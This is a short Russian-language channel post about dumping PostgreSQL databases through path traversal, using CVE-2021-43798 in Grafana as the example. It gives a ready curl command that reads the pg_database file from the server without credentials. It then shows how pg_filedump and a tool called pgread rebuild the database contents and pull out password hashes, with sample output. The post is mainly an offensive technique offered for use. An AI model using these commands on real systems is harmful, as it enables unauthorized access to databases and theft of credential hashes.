5.2Kпросмотров
50.7%от подписчиков
22 января 2026 г.
Score: 5.7K
Дампим PostgreSQL с помощью Path Traversal Наткнулся на гайд то, как восстановить "убитую" базу данных PostgreSQL. Его суть сводится к тому, что все данные лежат на файловой системе, и все можно довольно легко раскрутить от главного файла global/1262 (pg_database). Его идентификатор (oid) всегда статический, и это удобно — можно легко достать с помощью Path Traversal. Вот так, на примере CVE-2021-43798 в Grafana:
curl --path-as-is -O http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../var/lib/postgresql/data/global/1262 А затем, с помощью него и двух бинарей с отношениями и типами данных, base/<db_oid>/1259 и base/<db_oid>/1249 (у каждой базы свой db_oid, его можно достать из pg_database), легко восстановить и содержимое всей базы данных. С помощью pg_filedump ./pg_filedump -D int,bool,text,timestamp /path/to/db/base/16384/16393 или специальной утилиты pgread, которая автоматизирует рутину ./pgread -passwords all
PostgreSQL Password Hashes:
===========================
pg_database_owner:(no password)
admin:SCRAM-SHA-256$4096:salt$hash:proof [SUPERUSER] [LOGIN] Что самое главное — не понадобились никакие креды, чтобы сдампить базу.